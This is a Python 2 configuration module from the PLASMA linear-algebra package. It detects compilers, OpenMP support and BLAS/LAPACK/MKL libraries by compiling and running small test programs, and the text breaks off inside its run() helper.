# PLASMA is a software package provided by: # University of Tennessee, US, # University of Manchester, UK. from __future__ import print_function # standard python modules import os import sys import re import shlex import subprocess from subprocess import PIPE # local modules from environment import Environment # ============================================================================== # initialization and settings # ------------------------------------------------------------------------------ def init(): ''' Initialize config module. ''' global env, top_dir, auto, verbose env = Environment() top_dir = os.getcwd() if (not os.path.exists( 'config-src' )): os.mkdir( 'config-src' ) os.chdir( 'config-src' ) auto = False verbose = 0 args = sys.argv[1:] for arg in args: if (arg == '--auto'): auto = True elif (arg == '--verbose' or arg == '-v'): verbose += 1 else: match = re.search( r'^(\w+)=(.*)', arg ) if (match): env[ match.group(1) ] = match.group(2) else: print_comment( 'unrecognized argument: ' + arg ) #raise Error( "unrecognized command line argument: " + arg ) # end # end # end # ------------------------------------------------------------------------------ def set_auto( in_auto=True ): ''' Sets automatic, non-interactive mode on or off. Auto always selects the first available choice. Auto is off by default. ''' global auto auto = in_auto # end # ------------------------------------------------------------------------------ def set_verbose( in_verbose=1 ): ''' Sets verbose level. Verbose = 0 (off) by default. ''' global verbose verbose = in_verbose # end # ============================================================================== # support # ------------------------------------------------------------------------------ # All errors this code raises. # Using this allows Python Exceptions to fall through, give tracebacks. class Error( Exception ): pass # ------------------------------------------------------------------------------ # ANSI codes esc = chr(0x1B) + '[' red = esc + '31m' green = esc + '32m' yellow = esc + '33m' blue = esc + '34m' magenta = esc + '35m' cyan = esc + '36m' white = esc + '37m' font_bold = esc + '1m' font_normal = esc + '0m' font_header = font_bold font_subhead = blue font_comment = cyan str_yes = font_bold + green + 'yes' + font_normal str_no = red + 'no' + font_normal dots_width = 50 subdots_width = 58 # ------------------------------------------------------------------------------ # Current programming language lang_stack = [ None ] lang = None def get_lang(): global lang return lang def set_lang( in_lang ): global lang, lang_stack assert( in_lang in ('C', 'C++', 'Fortran', 'F77') ) lang_stack[-1] = in_lang lang = in_lang def push_lang( in_lang ): global lang, lang_stack assert( in_lang in ('C', 'C++', 'Fortran', 'F77') ) lang_stack.append( in_lang ) lang = in_lang def pop_lang(): global lang, lang_stack if (len(lang_stack) == 1): raise Error("popping last language") pop = lang_stack.pop() lang = lang_stack[-1] return pop # ============================================================================== # output files output_headers_done = False # ------------------------------------------------------------------------------ # todo: in autoconf, this changes @DEFS@ to be -DHAVE_CONFIG_H instead of # -Dfoo1=bar1 -Dfoo2=bar2 ... for all variables foo{i}. def output_headers( files ): ''' Create each file in files from file.in, substituting @foo@ with variable foo. files can be a single header file or an iterable list of files. If the contents of file are not modified, it does not touch it, to avoid unnecesary recompilation. Ex: cfg.output_headers( "config.h" ) cfg.output_headers( ["config.h", "meta.h"] ) ''' output_headers_done = True print_header( 'Output files' ) if (isinstance( files, str )): files = [ files ] pwd = os.getcwd() os.chdir( top_dir ) for fname in files: txt = read( fname + '.in' ) out = re.sub( r'@(\w+)@', sub_env, txt ) out = re.sub( r'#undef (\w+)', sub_define, txt ) if (os.path.exists( fname ) and out == read( fname )): print( fname, 'is unchanged' ) else: print( 'creating', fname ) write( fname, out ) # end env['DEFS'] = '-DHAVE_CONFIG_H' os.chdir( pwd ) # end # ------------------------------------------------------------------------------ def output_files( files ): ''' Create each file in files from file.in, substituting @foo@ with variable foo. files can be a single header file or an iterable list of files. Unlike output_headers(), this always recreates the file even if the contents are the same. Ex: cfg.output_files( "make.inc" ) cfg.output_files( ["Makefile", "src/Makefile"] ) ''' if (not output_headers_done): print_header( 'Output files' ) if (isinstance( files, str )): files = [ files ] pwd = os.getcwd() os.chdir( top_dir ) for fname in files: txt = read( fname + '.in' ) out = re.sub( r'@(\w+)@', sub_env, txt ) print( 'creating', fname ) write( fname, out ) # end os.chdir( pwd ) # end # ============================================================================== # compilers # ------------------------------------------------------------------------------ def prog_cc( extra=[], default=['gcc', 'cc', 'icc', 'xlc_r', 'xlc', 'clang'], required=True ): ''' Detect C compilers. extra List of additional compilers to check, before default. default List of compilers to check, currently: GNU gcc generic cc Intel icc IBM xlc_r IBM xlc Clang clang If $CC is set in environment or on command line, uses that instead of extra & default. If $CFLAGS, $LDFLAGS, or $LIBS are set in environment or on command line, uses those flags when compiling. It is recommended to override extra and not override default. ''' print_header( 'Detecting C compilers' ) cc = env['CC'] if (cc): print_comment( 'Test using $CC=' + cc ) compilers = [ cc ] else: compilers = unique( extra + default ) set_lang('C') src = 'prog_cc.c' choices = [] for cc in compilers: env.push() env['CC'] = cc try: try_compiler( src ) print_subhead( ' Required features:' ) prog_cc_c99() openmp() openmp_depend() choices.append( env.top() ) # passed required features print_subhead( ' Optional features:' ) openmp_priority( required=False ) #for flag in ('-O2', '-Wall', '-Wshadow', '-Wno-unused-function', '-pedantic'): # compiler_flag( flag, required=False ) except Error, e: if (verbose): print( e ) env.pop() #print() # end val = choose( 'C compiler', 'CC', choices ) if (val is not None): env.push( val ) elif (required): raise Error( 'C compiler not found' ) # end # ------------------------------------------------------------------------------ def prog_cxx( extra=[], default=['g++', 'c++', 'CC', 'cxx', 'icpc', 'xlC_r', 'xlC', 'clang++'], required=True ): ''' Detect C++ compilers. extra List of additional compilers to check, before default. default List of compilers to check, currently: GNU g++ generic c++ generic CC generic cxx Intel icpc IBM xlC_r IBM xlC Clang clang++ If $CXX is set in environment or on command line, uses that instead of extra & default. If $CXXFLAGS, $LDFLAGS, or $LIBS are set in environment or on command line, uses those flags when compiling. It is recommended to override extra and not override default. ''' print_header( 'Detecting C++ compilers' ) cxx = env['CXX'] if (cxx): print_comment( 'Test using $CXX=' + cxx ) compilers = [ cxx ] else: compilers = unique( extra + default ) set_lang('C++') src = 'prog_cxx.cxx' choices = [] for cxx in compilers: env.push() env['CXX'] = cxx try: try_compiler( src ) print_subhead( ' Required features:' ) prog_cxx_cxx11() openmp() openmp_depend() choices.append( env.top() ) # passed required features print_subhead( ' Optional features:' ) openmp_priority( required=False ) #for flag in ('-O2', '-Wall', '-Wshadow', '-Wno-unused-function', '-pedantic'): # compiler_flag( flag, required=False ) except Error, e: if (verbose): print( e ) env.pop() #print() # end val = choose( 'C++ compiler', 'CXX', choices ) if (val is not None): env.push( val ) elif (required): raise Error( 'C++ compiler not found' ) # end # ------------------------------------------------------------------------------ # todo: autoconf also has [ifc efc lf95 epcf90 frt cf77 fort77 fl32 af77] fortran_compilers = [ 'gfortran', 'g95', 'g77', 'fort', 'f95', 'f90', 'f77', 'ftn', 'nagfor', 'ifort', 'xlf95', 'xlf90', 'xlf', 'pgfortran', 'pgf95', 'pgf90', 'pghpf', 'pgf77' ] def prog_fortran( extra=[], default=fortran_compilers, required=True ): ''' Detect modern Fortran compilers (Fortran 90 and newer). extra List of additional compilers to check, before default. default List of compilers to check, currently: GNU gfortran GNU g95 GNU g77 generic fort generic f95 generic f90 generic f77 Cray ftn NAG nagfor Intel ifort IBM xlf IBM xlf95 IBM xlf90 PGI pgfortran PGI pgf95 PGI pgf90 PGI pghpf PGI pgf77 If $FC is set in environment or on command line, uses that instead of extra & default. If $FCFLAGS, $LDFLAGS, or $LIBS are set in environment or on command line, uses those flags when compiling. It is recommended to override extra and not override default. ''' print_header( 'Detecting Fortran compilers' ) fc = env['FC'] if (fc): print_comment( 'Test using $FC=' + fc ) compilers = [ fc ] else: compilers = unique( extra + default ) set_lang('Fortran') src = 'prog_fortran.f90' choices = [] for fc in compilers: env.push() env['FC'] = fc try: try_compiler( src ) print_subhead( ' Required features:' ) prog_fortran_f2008() openmp() choices.append( env.top() ) # passed required features print_subhead( ' Optional features:' ) openmp_depend( required=False ) openmp_priority( required=False ) #for flag in ('-O2', '-Wall', '-Wshadow', '-Wno-unused-function', '-pedantic'): # compiler_flag( flag, required=False ) except Error, e: if (verbose): print( e ) env.pop() #print() # end val = choose( 'Fortran compiler', 'FC', choices ) if (val is not None): env.push( val ) elif (required): raise Error( 'Fortran compiler not found' ) # end # ------------------------------------------------------------------------------ def prog_f77( extra=[], default=fortran_compilers, required=True ): ''' Detect Fortran 77 compilers. extra List of additional compilers to check, before default. default List of compilers to check, currently: GNU gfortran GNU g95 GNU g77 generic fort generic f95 generic f90 generic f77 Cray ftn NAG nagfor Intel ifort IBM xlf IBM xlf95 IBM xlf90 PGI pgfortran PGI pgf95 PGI pgf90 PGI pghpf PGI pgf77 If $F77 is set in environment or on command line, uses that instead of extra & default. If $FFLAGS, $LDFLAGS, or $LIBS are set in environment or on command line, uses those flags when compiling. It is recommended to override extra and not override default. ''' print_header( 'Detecting Fortran 77 compilers' ) f77 = env['F77'] if (f77): print_comment( 'Test using $F77=' + f77 ) compilers = [ f77 ] else: compilers = unique( extra + default ) set_lang('F77') src = 'prog_f77.f' choices = [] for f77 in compilers: env.push() env['F77'] = f77 try: try_compiler( src ) print_subhead( ' Required features:' ) openmp() choices.append( env.top() ) # passed required features print_subhead( ' Optional features:' ) openmp_depend( required=False ) openmp_priority( required=False ) #for flag in ('-O2', '-Wall', '-Wshadow', '-Wno-unused-function', '-pedantic'): # compiler_flag( flag, required=False ) except Error, e: if (verbose): print( e ) env.pop() #print() # end val = choose( 'Fortran 77 compiler', 'F77', choices ) if (val is not None): env.push( val ) elif (required): raise Error( 'Fortran 77 compiler not found' ) # end # ============================================================================== # compiler features # ------------------------------------------------------------------------------ # While many compilers support C99 by default, it's best to explicitly set # -std=c99 if it exists, to exclude non-standard extensions. # gcc's current default is gnu11. def prog_cc_c99( flags=['-std=c99', ''], required=True ): assert( lang == 'C' ) src = 'prog_cc_c99.c' found = False for flag in flags: print_dots( ' C99 support: ' + flag, subdots_width ) save_cflags = env.append( 'CFLAGS', flag ) try: try_compile_run( src ) found = True print( str_yes ) break except Error, e: env['CFLAGS'] = save_cflags print( str_no ) # end if (not found): print_error( ' C99 not supported' ) if (required): raise Error( 'C99 not supported' ) # end # ------------------------------------------------------------------------------ # While many compilers support C++11 by default, it's best to explicitly set # -std=c++11 if it exists, to exclude non-standard extensions. # g++'s current default is gnu++14. def prog_cxx_cxx11( flags=['-std=c++11', ''], required=True ): assert( lang == 'C++' ) src = 'prog_cxx_cxx11.cxx' found = False for flag in flags: print_dots( ' C++11 support: ' + flag, subdots_width ) save_cxxflags = env.append( 'CXXFLAGS', flag ) try: try_compile_run( src ) found = True print( str_yes ) break except Error, e: env['CXXFLAGS'] = save_cxxflags print( str_no ) # end if (not found): print_error( ' C++11 not supported' ) if (required): raise Error( 'C++11 not supported' ) # end # ------------------------------------------------------------------------------ # While many compilers support f2008 by default, it's best to explicitly set # -std=f2008 if it exists, to exclude non-standard extensions. # gfortran's current default is gnu. # todo: ifort gives warning: ignoring unknown option '-std=f2008' def prog_fortran_f2008( flags=['-stand=f08', '-std=f2008'], required=True ): assert( lang == 'Fortran' ) src = 'prog_fortran_f2008.f90' # without C binding if (env['CC']): push_lang('C') c_src = 'prog_fortran_f2008_foo.c' try: c_obj = try_compile_obj( c_src ) src = 'prog_fortran_f2008_cbind.f90' # with C binding except Exception: c_obj = '' print_comment( " prog_fortran_f2008: compiling C failed; skipping C binding test" ) pop_lang() else: c_obj = '' print_comment( " prog_fortran_f2008: no C compiler set; skipping C binding test" ) # end found = False for flag in flags: print_dots( ' Fortran 2008 support: ' + flag, subdots_width ) save_fcflags = env.append( 'FCFLAGS', flag ) try: try_compile_run( src, [c_obj] ) found = True print( str_yes ) break except Error, e: env['FCFLAGS'] = save_fcflags print( str_no ) # end if (not found): print_error( ' Fortran 2008 not supported' ) if (required): raise Error( 'Fortran 2008 not supported' ) # end # ------------------------------------------------------------------------------ def compiler_flag( flag, required=True ): (cc, flagname) = lang_vars() if (lang == 'C'): src = 'prog_cc.c' elif (lang == 'C++'): src = 'prog_cxx.cxx' elif (lang == 'Fortran'): src = 'prog_fortran.f90' elif (lang == 'F77'): src = 'prog_f77.f' else: raise Error( "unknown language " + lang ) # end # skip test if flag already included, e.g., by user setting $CFLAGS save = env[ flagname ] if (flag in save): return save = env.append( flagname, flag ) try: print_dots( ' Accepts ' + flag, subdots_width ) try_compile_obj( src ) print( str_yes ) except Error, e: env[ flagname ] = save print( str_no ) if (required): raise Error # end # ------------------------------------------------------------------------------ def openmp( flags=['-fopenmp', '-qopenmp', '-openmp', '-omp', ''], required=True ): (cc, flagname) = lang_vars() if (lang == 'C'): src = 'omp_cc.c' elif (lang == 'C++'): src = 'omp_cc.c' # same as C elif (lang == 'Fortran'): src = 'omp_fortran.f90' elif (lang == 'F77'): src = 'omp_f77.f' else: raise Error( "unknown language " + lang ) # end found = False for flag in flags: # typically -fopenmp must be specified both when compiling & linking save_flags = env.append( flagname, flag ) save_ldflags = env.append( 'LDFLAGS', flag ) try: print_dots( ' OpenMP: ' + flag, subdots_width ) try_compile_run( src ) env['OPENMP_' + flagname] = flag found = True print( str_yes ) break except Error, e: print( str_no ) finally: env[ flagname ] = save_flags env['LDFLAGS'] = save_ldflags # end if (not found): print_error( ' OpenMP not supported' ) if (required): raise Error( 'OpenMP not supported' ) # end # ------------------------------------------------------------------------------ def openmp_depend( required=True ): (cc, flagname) = lang_vars() if (lang == 'C'): src = 'omp_depend_cc.c' elif (lang == 'C++'): src = 'omp_depend_cc.c' # same as C elif (lang == 'Fortran'): src = 'omp_depend_fortran.f90' elif (lang == 'F77'): src = 'omp_depend_f77.f' else: raise Error( "unknown language " + lang ) # end # temporarily add, e.g., OPENMP_CFLAGS to CFLAGS and LDFLAGS save_flags = env.append( flagname, env['OPENMP_'+flagname] ) save_ldflags = env.append( 'LDFLAGS', env['OPENMP_'+flagname] ) try: print_dots( ' OpenMP 4 task depend', subdots_width ) try_compile_run( src ) env.append( 'DEFS', '-DHAVE_OPENMP_DEPEND' ) # todo compiler-specific DEFS? print( str_yes ) except Error, e: print( str_no ) if (required): raise e finally: env[ flagname ] = save_flags env['LDFLAGS'] = save_ldflags # end # ------------------------------------------------------------------------------ def openmp_priority( required=True ): (cc, flagname) = lang_vars() if (lang == 'C'): src = 'omp_priority_cc.c' elif (lang == 'C++'): src = 'omp_priority_cc.c' # same as C elif (lang == 'Fortran'): src = 'omp_priority_fortran.f90' elif (lang == 'F77'): src = 'omp_priority_f77.f' else: raise Error( "unknown language " + lang ) # end # temporarily add, e.g., OPENMP_CFLAGS to CFLAGS and LDFLAGS save_flags = env.append( flagname, env['OPENMP_'+flagname] ) save_ldflags = env.append( 'LDFLAGS', env['OPENMP_'+flagname] ) try: print_dots( ' OpenMP 4.5 task priority', subdots_width ) try_compile_run( src ) env.append( 'DEFS', '-DHAVE_OPENMP_PRIORITY' ) # todo compiler-specific DEFS? print( str_yes ) except Error, e: print( str_no ) if (required): raise e finally: env[ flagname ] = save_flags env['LDFLAGS'] = save_ldflags # end # ============================================================================== # (C)BLAS and LAPACK(E) libraries # ------------------------------------------------------------------------------ def blas( ilp64=False, required=True ): print_header( 'Detecting BLAS libraries' ) push_lang('C') src = 'blas.c' tests = [] # ---------- # build list of tests; each test is an environment (hash) # of LAPACK_CFLAGS and LAPACK_LIBS. cflags = env['LAPACK_CFLAGS'] libs = env['LAPACK_LIBS'] if (cflags or libs): # user specified print_comment( 'Test using $LAPACK_CFLAGS="' + cflags + '" and $LAPACK_LIBS="' + libs + '"' ) libs = re.sub( '-L +', '-L', libs ) # keep -Ldir together, not -L dir libs = re.split( ' +', libs ) libdir = filter( lambda x: x.startswith( '-L' ), libs ) libs = filter( lambda x: not x.startswith( '-L' ), libs ) libdir = join( *libdir ) libs = join( *libs ) tests.append({ 'CFLAGS': cflags, 'LIBS': libs, }) else: # included by default (e.g., with Cray cc compilers) tests.append( {} ) # plain BLAS tests.append( {'LIBS': '-lblas'} ) # MacOS Accelerate if (sys.platform == 'darwin'): tests.append({ 'DEFS': '-DHAVE_ACCELERATE', 'LIBS': '-framework Accelerate -lm', }) # end # OpenBLAS (inc, libdir) = get_inc_lib( ['OPENBLAS', 'OPENBLASDIR', 'OPENBLAS_DIR'] ) tests.append({ 'DEFS': '-DHAVE_OPENBLAS', 'CFLAGS': inc, 'LDFLAGS': libdir, 'LIBS': '-lopenblas -lm', }) # ATLAS (inc, libdir) = get_inc_lib( ['ATLAS', 'ATLASDIR', 'ATLAS_DIR'] ) for libs in ('-latlas -lm', '-lf77blas -latlas -lm', '-lf77blas -latlas -lgfortran -lm',): tests.append({ 'DEFS': '-DHAVE_ATLAS', 'CFLAGS': inc, 'LDFLAGS': libdir, 'LIBS': libs, }) # end # ACML # may be in a subdirectory if user sets # $ACMLDIR = /path/to/acml-5.3.1 instead of # $ACMLDIR = /path/to/acml-5.3.1/gfortran64 # modules on titan use ACML_BASE_DIR for gf in ('', 'gfortran64', 'gfortran64_mp', 'gfortran32', 'gfortran32_mp'): (inc, libdir) = get_inc_lib( ['ACML', 'ACMLDIR', 'ACML_DIR', 'ACML_BASE_DIR'], gf ) if (libdir or not gf): # if gf != '', require we found lib directory if (re.search( '_mp', gf )): libs = '-lacml_mp -lm' else: libs = '-lacml -lm' tests.append({ 'DEFS': '-DHAVE_ACML', 'CFLAGS': inc, 'LDFLAGS': libdir, 'LIBS': libs, }) # end # end # MKL has combination of 3 libs: # interface lib (gf for gfortran, intel for ifort, # lp64 for 64-bit long-pointer, # ilp64 for 64-bit int-long-pointer), # thread lib (gnu_thread for libgomp, intel_thread for iomp5), # core lib # Not recommended to mix mkl_gf_*lp64 with mkl_intel_thread, # or mkl_intel_*lp64 with mkl_gnu_thread. # todo: if compiler is GNU, suppress intel_thread version, # and if compiler is Intel, suppress gnu_thread versions? libs = [ '-lmkl_gf_lp64 -lmkl_sequential', '-lmkl_gf_lp64 -lmkl_gnu_thread', '-lmkl_intel_lp64 -lmkl_sequential', '-lmkl_intel_lp64 -lmkl_intel_thread', ] if (ilp64): libs.extend([ '-lmkl_gf_ilp64 -lmkl_sequential', '-lmkl_gf_ilp64 -lmkl_gnu_thread', '-lmkl_intel_ilp64 -lmkl_sequential', '-lmkl_intel_ilp64 -lmkl_intel_thread', ]) # end mkl_set_library_path() (inc, libdir) = get_inc_lib( ['MKLROOT'] ) for lib in libs: defs = '-DHAVE_MKL' if (re.search( 'ilp64', lib )): defs += ' -DMKL_ILP64' tests.append({ 'DEFS': defs, 'CFLAGS': inc, 'LDFLAGS': libdir, 'LIBS': join( lib, '-lmkl_core -lm' ), }) # end # end # ---------- choices = [] for test in tests: save = merge_env( test ) try: print_dots( join_vars( test, 'CFLAGS', 'LDFLAGS', 'LIBS' )) try_compile_run( src ) choices.append( test ) print( str_yes ) except Error, e: print( str_no ) finally: restore_env( save ) # end pop_lang() val = choose( 'BLAS library', 'LIBS', choices ) if (val is not None): merge_env( val ) elif (required): raise Error( 'BLAS not found' ) # end # ------------------------------------------------------------------------------ def cblas( required=True ): print_header( 'Detecting CBLAS library' ) push_lang('C') src = 'cblas.c' # test if (1) cblas in blas library, or (2) cblas in -lcblas tests = [ {}, {'LIBS': '-lcblas'}, ] # add lapack directory (inc, libdir) = get_inc_lib( ['LAPACK', 'LAPACKDIR', 'LAPACK_DIR'] ) if (inc or libdir): tests.append({ 'CFLAGS': inc + '/CBLAS/include', 'LDFLAGS': libdir, 'LIBS': '-lcblas', }) # end # add cblas directory (inc, libdir) = get_inc_lib( ['CBLAS', 'CBLASDIR', 'CBLAS_DIR'] ) if (inc or libdir): tests.append({ 'CFLAGS': inc, 'LDFLAGS': libdir, 'LIBS': '-lcblas', }) # end # MacOS has cblas.h header buried in Frameworks if (sys.platform == 'darwin'): try: (stdout, stderr) = run( 'find /System/Library/Frameworks/Accelerate.framework -name cblas.h') (path, fname) = os.path.split( stdout ) tests.append( {'CFLAGS': '-I'+path} ) except Error: pass # end found = False for test in tests: save = merge_env( test ) try: print_dots( join_vars( test, 'CFLAGS', 'LDFLAGS', 'LIBS' )) try_compile_run( src ) found = True print( str_yes ) break except Error, e: print( str_no ) restore_env( save ) # end pop_lang() if (not found): print_error( 'CBLAS not found; see http://www.netlib.org/lapack/' ) if (required): raise Error( 'CBLAS not found' ) # end # ------------------------------------------------------------------------------ def lapack( required=True ): print_header( 'Detecting LAPACK library' ) push_lang('C') src = 'lapack.c' # test if (1) lapack in blas library, or (2) lapack in -llapack tests = [ {}, {'LIBS': '-llapack'}, ] # add lapack directory (inc, libdir) = get_inc_lib( ['LAPACK', 'LAPACKDIR', 'LAPACK_DIR'] ) if (inc or libdir): tests.append({ 'CFLAGS': inc, 'LDFLAGS': libdir, 'LIBS': '-llapack' }) tests.append({ 'CFLAGS': inc, 'LDFLAGS': libdir, 'LIBS': '-llapack -lgfortran' }) # end found = False for test in tests: save = merge_env( test ) try: print_dots( join_vars( test, 'CFLAGS', 'LDFLAGS', 'LIBS' )) try_compile_run( src ) found = True print( str_yes ) break except Error, e: print( str_no ) restore_env( save ) # end pop_lang() if (not found): print_error( 'LAPACK not found; see http://www.netlib.org/lapack/' ) if (required): raise Error( 'LAPACK not found' ) # end # ------------------------------------------------------------------------------ def lapacke( required=True ): print_header( 'Detecting LAPACKE library' ) push_lang('C') src = 'lapacke.c' # test if (1) lapacke in blas library, or (2) lapacke in -llapacke tests = [ {}, {'LIBS': '-llapacke'}, ] # add lapack directory (inc, libdir) = get_inc_lib( ['LAPACK', 'LAPACKDIR', 'LAPACK_DIR'] ) if (inc or libdir): tests.append({ 'CFLAGS': inc + '/LAPACKE/include', 'LDFLAGS': libdir, 'LIBS': '-llapacke', }) tests.append({ 'CFLAGS': inc + '/LAPACKE/include', 'LDFLAGS': libdir, 'LIBS': '-llapacke -lgfortran', }) # end found = False for test in tests: save = merge_env( test ) try: print_dots( join_vars( test, 'CFLAGS', 'LDFLAGS', 'LIBS' )) try_compile_run( src ) found = True print( str_yes ) break except Error, e: print( str_no ) restore_env( save ) # end pop_lang() if (not found): print_error( 'LAPACKE not found; see http://www.netlib.org/lapack/' ) if (required): raise Error( 'LAPACKE not found' ) # end # ------------------------------------------------------------------------------ def blas_return_float( required=True ): print_dots( 'BLAS return float (e.g., sdot)' ) push_lang('C') src = 'blas_return_float.c' try: try_compile_run( src ) print( 'returns float (standard)' ) return except Exception, e: pass finally: pop_lang() push_lang('C') src = 'blas_return_float_f2c.c' try: try_compile_run( src ) print( 'returns double (f2c, clapack, MacOS Accelerate)' ) env.append( 'DEFS', '-DBLAS_RETURN_FLOAT_AS_DOUBLE' ) except Exception, e: print_error( 'unknown' ) if (required): raise e finally: pop_lang() # end # ------------------------------------------------------------------------------ def blas_return_complex( required=True ): print_dots( 'BLAS return complex (e.g., zdotc)' ) push_lang('C') src = 'blas_return_complex.c' try: try_compile_run( src ) print( 'returns complex' ) return except Exception, e: pass finally: pop_lang() push_lang('C') src = 'blas_return_complex_intel.c' try: try_compile_run( src ) print( 'complex result is first argument' ) env.append( 'DEFS', '-DBLAS_RETURN_COMPLEX_AS_ARGUMENT' ) except Exception, e: print_error( 'unknown' ) if (required): raise e finally: pop_lang() # end # ------------------------------------------------------------------------------ def lapacke_dlascl( required=True ): print_dots( 'LAPACKE_dlascl exists (LAPACK >= 3.6.0)' ) push_lang('C') src = 'lapacke_dlascl.c' try: try_compile_run( src ) print( str_yes ) env.append( 'DEFS', '-DHAVE_LAPACKE_DLASCL' ) except Exception, e: print( str_no ) if (required): raise e finally: pop_lang() # end # ------------------------------------------------------------------------------ def lapacke_dlantr( required=True ): print_dots( 'LAPACKE_dlantr works (LAPACK >= 3.6.1)' ) push_lang('C') src = 'lapacke_dlantr.c' try: try_compile_run( src ) print( str_yes ) env.append( 'DEFS', '-DHAVE_LAPACKE_DLANTR' ) except Exception, e: print( str_no ) if (required): raise e finally: pop_lang() # end # ------------------------------------------------------------------------------ def lapacke_dlassq( required=True ): print_dots( 'LAPACKE_dlassq exists (LAPACK >= ???)' ) push_lang('C') src = 'lapacke_dlassq.c' try: try_compile_run( src ) print( str_yes ) env.append( 'DEFS', '-DHAVE_LAPACKE_DLASSQ' ) except Exception, e: print( str_no ) if (required): raise e finally: pop_lang() # end # ============================================================================== # utilities for (C)BLAS and LAPACK(E) tests # ------------------------------------------------------------------------------ def join_vars( env2, *variables ): ''' For variables v1, ..., vn, joins env2[v1], ..., env2[vn] with spaces. Ignores variables that don't exist in env2. If result is empty, returns "[default flags]". Ex: join_vars( test, 'CFLAGS', 'LIBS' ) is similar to: join( test.has_key('CFLAGS') and test['CFLAGS'] or '', test.has_key('LIBS') and test['LIBS'] or '' ) or '[default]'. ''' txt = '' for var in variables: if (env2.has_key( var )): txt += ' ' + env2[ var ] txt = txt.strip() if (not txt): txt = '[default flags]' return txt # end # ------------------------------------------------------------------------------ def merge_env( env2 ): ''' Appends all key-value pairs in env2 to corresponding key-value pair in env (except prepend for $LIBS). Return original key-value pairs from env in a map, to restore using restore_env. ''' save = {} for key in env2.keys(): if (key == 'LIBS'): save[key] = env.prepend( key, env2[key] ) else: save[key] = env.append( key, env2[key] ) return save # end # ------------------------------------------------------------------------------ def restore_env( save ): ''' Restores all key-value pairs in save to env. ''' for key in save.keys(): env[key] = save[key] # end # ------------------------------------------------------------------------------ def get_inc_lib( variables, subdir=None ): ''' Determines include and library paths using environment variables. Ex: (inc, libdir) = get_inc_lib( ['ACML', 'ACML_DIR'], 'gfortran64' ) Checks if ${ACML} or ${ACML_DIR} exists, uses that as PATH. Then sets inc to the first of these that exists: PATH/gfortran64/include PATH/gfortran64 and sets libdir to the first of these that exists: PATH/gfortran64/lib64 PATH/gfortran64/lib/intel64 PATH/gfortran64/lib PATH/gfortran64 ''' for var in variables: inc = '' libdir = '' path = env[ var ] if (path and os.path.exists( path )): inc = '-I${' + var + '}' libdir = '-L${' + var + '}' if (subdir): path = os.path.join( path, subdir ) if (not os.path.exists( path )): inc = '' libdir = '' continue inc += '/' + subdir libdir += '/' + subdir # end for lib in ('lib64', 'lib/intel64', 'lib'): path_lib = os.path.join( path, lib ) if (os.path.exists( path_lib )): libdir += '/' + lib break # end path_inc = os.path.join( path, 'include' ) if (os.path.exists( path_inc )): inc += '/include' break # end # end return (inc, libdir) # end # ------------------------------------------------------------------------------ def mkl_set_library_path(): ''' MKL needs (DY)LD_LIBRARY_PATH set or it won't run, but (DY)LD_LIBRARY_PATH may not be passed to python or make, so if it isn't set, try setting it ourselves. ''' mklroot = env['MKLROOT'] LD_LIBRARY_PATH = 'LD_LIBRARY_PATH' if (sys.platform == 'darwin'): LD_LIBRARY_PATH = 'DYLD_LIBRARY_PATH' if (mklroot and not os.environ.has_key( LD_LIBRARY_PATH )): (inteldir, mkl) = os.path.split( mklroot ) intel_compiler = os.path.join( inteldir, 'compiler' ) if (os.path.exists( intel_compiler )): inteldir = intel_compiler paths = [] for lib in ('lib64', 'lib/intel64', 'lib'): intel_lib = os.path.join( inteldir, lib ) if (os.path.exists( intel_lib )): paths.append( intel_lib ) break # end for lib in ('lib64', 'lib/intel64', 'lib'): mkl_lib = os.path.join( mklroot, lib ) if (os.path.exists( mkl_lib )): paths.append( mkl_lib ) break # end if (paths): paths = ':'.join( paths ) os.environ[ LD_LIBRARY_PATH ] = paths print_comment( 'Setting '+ LD_LIBRARY_PATH +'='+ paths ) # end # end # end # ============================================================================== # lower level compilation & execution # ------------------------------------------------------------------------------ def lang_vars(): if (lang == 'C'): cc = env['CC'] flagname = 'CFLAGS' elif (lang == 'C++'): cc = env['CXX'] flagname = 'CXXFLAGS' elif (lang == 'Fortran'): cc = env['FC'] flagname = 'FCFLAGS' elif (lang == 'F77'): cc = env['F77'] flagname = 'FFLAGS' else: raise Error( "unknown language " + lang ) # end return (cc, flagname) # end # ------------------------------------------------------------------------------ def try_compiler( src, required=True ): (cc, flagname) = lang_vars() try: print_dots( cc ) (stdout, stderr) = run([ 'which', cc ]) ccpath = stdout.strip() if (sys.platform == 'darwin'): # due to case-insensitive filesystem, `which CC` returns # non-existent /usr/bin/CC on MacOS; ignore it (ccdir, exe) = os.path.split( ccpath ) if (not cc in os.listdir( ccdir )): raise Error # end print( ccpath ) print_dots( ' compile and run test', subdots_width ) try_compile_run( src ) print( str_yes ) except Error, e: print( str_no ) if (required): raise e # end # ------------------------------------------------------------------------------ def try_compile_run( src, extra_objs=[] ): exe = try_compile_exe( src, extra_objs ) run( './'+exe ) # end # ------------------------------------------------------------------------------ def try_compile_obj( src ): (cc, flagname) = lang_vars() flags = env[ flagname ] openmp = env['OPENMP_' + flagname] defs = env['DEFS'] write_test( src ) (exe, ext) = os.path.splitext( src ) exe += '_' + cc obj = exe + '.o' run([ cc, flags, defs, '-c', src, '-o', obj ]) return obj # end # ------------------------------------------------------------------------------ def try_compile_exe( src, extra_objs=[] ): (cc, flagname) = lang_vars() flags = env[ flagname ] openmp = env['OPENMP_' + flagname] defs = env['DEFS'] ldflags = env['LDFLAGS'] libs = env['LIBS'] write_test( src ) (exe, ext) = os.path.splitext( src ) exe += '_' + cc obj = exe + '.o' run([ cc, flags, openmp, defs, '-c', src, '-o', obj ]) run([ cc, ldflags, openmp, obj, extra_objs, libs, '-o', exe ]) return exe # end # ------------------------------------------------------------------------------ def run( cmd ): if (not isinstance( cmd, str )): cmd = ' '.join( flatten( cmd )) if (verbose): dots = ' ' * max( 0, 71 - len(cmd) ) print( font_comment + ' >>', cmd, dots, font_normal, end='' ) # Popen propogates (DY)LD_LIBRARY_FLAGS, unlike os.system, # but it doesn't substitute variables, so do that ourselves. # Prefer ${xyz} syntax, which both shell and make recognize. cmd = re.sub( r'\$\{(\w+)\}', sub_env, cmd ) # shell & make cmd = re.sub( r'\$\((\w+)\)', sub_env, cmd ) # make only cmd = re.sub( r'\$(\w+)', sub_env, cmd ) # shell only cmd_list = shlex.split( cmd ) proc = subprocess.Popen( cmd_list, stdout=PIPE, stderr=PIPE ) (stdout, stderr) = proc.communicate() if (verbose > 1): sys.stdout.write( stdout ) sys.stderr.write( stderr ) rc = proc.wait() if (verbose): if (rc != 0): print_comment( 'failed' ) else: print_comment( 'ok' ) if (rc != 0): raise Error return (stdout, 